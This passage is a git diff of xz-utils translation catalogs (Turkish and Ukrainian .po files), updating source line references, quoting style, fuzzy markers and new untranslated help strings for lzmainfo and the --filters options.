#, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s dosya\n" msgstr[1] "%s dosya\n" -#: src/xz/list.c:1191 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Toplamlar:" -#: src/xz/list.c:1269 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list, yalnızca .xz dosyalarında çalışır (--format=xz veya --format=auto)" -#: src/xz/list.c:1275 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list, standart girdi'den okumayı desteklemez" @@ -526,15 +586,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Dosya adları okunurken beklenmedik girdi sonu" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Dosya adları okunurken boş karakter bulundu; '--files' yerine '--files0' mı demek istediniz?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "--robot ile sıkıştırma ve sıkıştırma açma henüz desteklenmiyor." -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Standart girdi'den dosya adları okunurken standart girdi'den veri okunamıyor" @@ -542,68 +603,69 @@ msgstr "Standart girdi'den dosya adları okunurken standart girdi'den veri okuna #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:788 src/xz/message.c:847 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "İç hata (yazılım hatası)" -#: src/xz/message.c:795 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Sinyal işleyicileri tesis edilemiyor" -#: src/xz/message.c:804 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Bütünlülük denetimi yok; dosya bütünlüğü doğrulanmıyor" -#: src/xz/message.c:807 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Desteklenmeyen bütünlülük denetimi türü; dosya bütünlüğü doğrulanmıyor" -#: src/xz/message.c:814 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Bellek kullanım sınırına erişildi" -#: src/xz/message.c:817 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Dosya biçimi tanımlanamıyor" -#: src/xz/message.c:820 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Desteklenmeyen seçenekler" -#: src/xz/message.c:823 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Sıkıştırılmış veri hasarlı" -#: src/xz/message.c:826 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Beklenmedik girdi sonu" -#: src/xz/message.c:868 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB bellek gerekiyor. Sınırlandırıcı devre dışı bırakıldı." -#: src/xz/message.c:896 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB bellek gerekiyor. Sınır, %s." -#: src/xz/message.c:915 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Süzgeç zinciri: %s\n" -#: src/xz/message.c:926 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Daha fazla bilgi için '%s --help' deneyin." -#: src/xz/message.c:952 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -614,15 +676,15 @@ msgstr "" ".xz biçimindeki dosyaları sıkıştırın veya sıkıştırmasını açın.\n" "\n" -#: src/xz/message.c:959 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Uzun seçenekler için zorunlu olan argümanlar kısa seçenekler için de geçerlidir.\n" -#: src/xz/message.c:963 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " İşlem kipi:\n" -#: src/xz/message.c:966 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -634,7 +696,7 @@ msgstr "" " -t, --test sıkıştırılmış dosya bütünlüğünü sına\n" " -l, --list .xz dosyaları hakkında bilgi listele" -#: src/xz/message.c:972 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -642,7 +704,7 @@ msgstr "" "\n" " İşlem değiştiricileri:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -653,7 +715,7 @@ msgstr "" " sıkıştır/sıkıştırmayı aç\n" " -c, --stdout standart çıktıya yaz ve girdi dosyalarını silme" -#: src/xz/message.c:984 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -661,10 +723,18 @@ msgstr "" " --single-stream yalnızca ilk akışın sıkıştırmasını aç ve sessizce\n" " kalan girdi verisini yok say" -#: src/xz/message.c:987 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -678,7 +748,7 @@ msgstr "" " --files0[=DSYA] --files gibi; ancak sonlandırıcı olarak null karakteri\n" " kullan" -#: src/xz/message.c:996 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -686,12 +756,18 @@ msgstr "" "\n" " Temel dosya biçimi ve sıkıştırma seçenekleri:\n" -#: src/xz/message.c:998 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', `lzip', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=BÇM kodlanacak veya kodu çözülecek dosya biçimi; olası\n" " değerler: `auto' (öntanımlı), `xz', `lzma', 'lzip'\n" @@ -699,11 +775,11 @@ msgstr "" " -C, --check=DNTLE bütünlük denetimi türü: `none' (dikkatli kullanın),\n" " `crc32', `crc64' (öntanımlı) veya `sha256'" -#: src/xz/message.c:1003 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check sıkıştırma açarken bütünlük denetimini doğrulama" -#: src/xz/message.c:1007 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -711,7 +787,7 @@ msgstr "" " -0 ... -9 sıkıştırma önayarı; öntanımlı 6; 7-9 kullanmadan önce\n" " sıkıştırma açıcı bellek kullanımını hesaba katın!" -#: src/xz/message.c:1011 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -720,16 +796,20 @@ msgstr "" " iyileştirmeye çalış; sıkıştırma açıcı bellek\n" " gereksinimlerini etkilemez" -#: src/xz/message.c:1015 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=SAYI en çok SAYI iş parçacığı kullan; öntanımlı 1; var olan\n" " işlemci çekirdeği kadar iş parçacığı kullanmak için\n" " 0'a ayarlayın" -#: src/xz/message.c:1020 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -740,17 +820,24 @@ msgstr "" " iş parçacığı kullanan sıkıştırma için blok boyutunu\n" " ayarlamak için bunu kullanın" -#: src/xz/message.c:1024 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=BOYUTLAR\n" " sıkıştırılmamış verinin virgülle ayrılmış verilen\n" " aralıklarından sonra yeni bir .xz bloku başlat" -#: src/xz/message.c:1028 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -762,7 +849,7 @@ msgstr "" " milisaniye geçmişse ve daha çok girdi okuma bloklarsa\n" " tüm bekleyen veri floşlanır" -#: src/xz/message.c:1034 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -781,7 +868,7 @@ msgstr "" " açma veya tümü için bellek kullanımı sınırını ayarla;\n" " LİMİT, bayt, RAM % veya öntanımlılar için 0'dır" -#: src/xz/message.c:1043 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -789,7 +876,7 @@ msgstr "" " --no-adjust sıkıştırma ayarları bellek kullanımı sınırını aşarsa\n" " ayarı aşağı doğru düzeltmek yerine bir hata ver" -#: src/xz/message.c:1049 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -797,7 +884,27 @@ msgstr "" "\n" " Sıkıştırma için özel süzgeç zinciri (önayar kullanımı alternatifi):" -#: src/xz/message.c:1058 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -826,7 +933,19 @@ msgstr "" " mf=AD eşleşme bul (hc3, hc4, bt2, bt3, bt4; bt4)\n" " depth=NUM en büyük arama derinliği; 0=oto (öntanımlı)" -#: src/xz/message.c:1073 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --arm[=OPTS] ARM BCJ filter\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +#| " --arm64[=OPTS] ARM64 BCJ filter\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -836,6 +955,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -850,7 +970,7 @@ msgstr "" " Tüm BCJ süzgeçleri için geçerli SÇNKLR:\n" " start=NUM dönüşümler başlangıç ofseti (öntanımlı=0)" -#: src/xz/message.c:1086 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -863,7 +983,7 @@ msgstr "" " dist=NUM birbirinden çırakılar baytlar arasındaki\n" " uzaklık (1-256; 1)" -#: src/xz/message.c:1094 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -871,7 +991,7 @@ msgstr "" "\n" " Diğer seçenekler:\n" -#: src/xz/message.c:1097 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -880,17 +1000,17 @@ msgstr "" " belirt\n" " -v, --verbose ayrıntılı ol; daha da çok ayrıntı için iki kez belirt" -#: src/xz/message.c:1102 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn uyarıların çıkış durumunu etkilemesine izin verme" -#: src/xz/message.c:1104 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot makine-ayrıştırılabilir iletiler kullan (betikler için\n" " yararlı)" -#: src/xz/message.c:1107 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -898,7 +1018,7 @@ msgstr "" " --info-memory toplam RAM miktarını ve şu anki bellek kullanımı\n" " sınırlarını görüntüle ve çık" -#: src/xz/message.c:1110 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -906,7 +1026,7 @@ msgstr "" " -h, --help kısa yardımı görüntüle (temel seçenekleri listeler)\n" " -H, --long-help bu uzun yardımı görüntüle ve çık" -#: src/xz/message.c:1114 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -914,11 +1034,12 @@ msgstr "" " -h, --help bu kısa yardımı görüntüle ve çık\n" " -H, --long-help uzun yardımı görüntüle (gelişmiş seçenekleri listeler)" -#: src/xz/message.c:1119 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version sürüm numarasını görüntüle ve çık" -#: src/xz/message.c:1121 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -930,31 +1051,46 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1127 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Hataları <%s> adresine bildirin (İngilizce veya Fince).\n" -#: src/xz/message.c:1129 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s ana sayfası: <%s>\n" -#: src/xz/message.c:1133 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "BU, NORMAL KULLANIM İÇİN OLMAYAN BİR GELİŞTİRME SÜRÜMÜDÜR." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Desteklenmeyen süzgeç zinciri veya süzgeç seçenekleri" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Seçenekler, virgülle ayrılmış 'ad=değer' çiftleri olmalıdır" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Geçersiz seçenek adı" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Geçersiz seçenek değeri" @@ -968,57 +1104,76 @@ msgstr "Desteklenmeyen LZMA1/LZMA2 önayarı: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "lc ve lp'nin toplamı 4'ü geçmemelidir" -#: src/xz/suffix.c:134 src/xz/suffix.c:265 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: --format-raw ile, stdout'a yazılmıyorsa --suffix=.SUF gereklidir" - #: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: Dosya adında bilinmeyen sonek var, atlanıyor" #: src/xz/suffix.c:186 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: Dosyada '%s' soneki halihazırda var, atlanıyor" -#: src/xz/suffix.c:402 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s: Geçersiz dosya adı soneki" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: Değer, bir negatif olmayan ondalık tamsayı" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Geçersiz çoklayıcı soneki" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Geçerli sonekler: 'KiB' (2^10), 'MiB' (2^20) ve 'GiB' (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "'%s' seçeneği değeri erimde olmalıdır [%, %]" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Bir uçbirimden sıkıştırılmış veri okunamaz" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Bir uçbirime sıkıştırılmış veri yazılamaz" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Geçerli bir .xz dosyası olabilmek için pek küçük" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Standart çıktı'ya yazma başarısız" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Bilinmeyen hata" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Kum havuzu etkinleştirilemedi" diff --git a/po/uk.gmo b/po/uk.gmo new file mode 100644 index 00000000..e383add9 Binary files /dev/null and b/po/uk.gmo differ diff --git a/po/uk.po b/po/uk.po index d50cae99..65331a88 100644 --- a/po/uk.po +++ b/po/uk.po @@ -9,7 +9,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-15 17:26+0200\n" "Last-Translator: Yuri Chornoivan \n" "Language-Team: Ukrainian \n" @@ -58,8 +58,8 @@ msgstr "Разом із параметрами --files або --files0 можн #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -185,16 +185,12 @@ msgstr "Скориговано розмір словника LZMA%c для --fil msgid "Error changing to filter chain %u: %s" msgstr "Помилка під час спроби перейти до ланцюжка фільтрів %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Помилка під час створення каналу: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Не вдалося увімкнути пісочницю" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: помилка poll(): %s" @@ -209,111 +205,111 @@ msgstr "%s: помилка poll(): %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: здається, файл пересунуто; не вилучаємо" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: не вдалося вилучити: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: не вдалося встановити власника файла: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: не вдалося встановити групу власника файла: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: не вдалося встановити права доступу до файла: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Помилка під час спроби отримання прапорців стану файла зі стандартного джерела вхідних даних: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: є символічним посиланням; пропускаємо" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: є каталогом; пропускаємо" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: не є звичайним файлом; пропускаємо" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: для файла встановлено біт setuid або setgid; пропускаємо" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: для файла встановлено липкий біт; пропускаємо" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: виявлено декілька жорстких посилань на файл із вхідними даними; пропускаємо" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Порожня назва файла; пропускаємо" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Помилка під час спроби відновлення прапорців стану для стандартного джерела вхідних даних: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Помилка під час спроби отримання прапорців стану файла зі стандартного виведення: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Помилка під час спроби відновлення прапорця O_APPEND для стандартного виведення: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: не вдалося закрити файл: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: помилка позиціювання під час спроби створити розріджений файл: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: помилка читання: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: помилка позиціювання у файлі: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: неочікуваний кінець файла" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: помилка під час спроби запису: %s" @@ -575,26 +571,26 @@ msgstr "Спробуйте «lzmainfo» із файлами .lzma." msgid "--list does not support reading from standard input" msgstr "Використання --list скасовує підтримку читання зі стандартного джерела вхідних даних" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: помилка під час читання назв файлів: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: неочікуваний кінець вхідних даних під час читання назв файлів" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: під час читання назв файлів виявлено нуль-символ; можливо, ви хотіли скористатися --files0, а не --files?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "У поточній версії ще не передбачено підтримки стискання або розпаковування з параметром --robot." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Читання даних зі стандартного джерела вхідних даних неможливе, якщо зі стандартного джерела даних виконується читання назв файлів standard input" @@ -602,68 +598,68 @@ msgstr "Читання даних зі стандартного джерела #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Внутрішня помилка (вада)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Не вдалося встановити обробники сигналів" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Немає перевірки цілісності; цілісність файлів перевірено не буде" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Непідтримуваний тип перевірки цілісності; перевірки цілісності виконано не буде" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Перевищено обмеження на використання пам'яті" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Формат файла не розпізнано" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Непідтримувані параметри" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Стиснені дані пошкоджено" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Несподіваний кінець вхідних даних" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Потрібно %s МіБ пам'яті. Обмеження вимкнено." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr 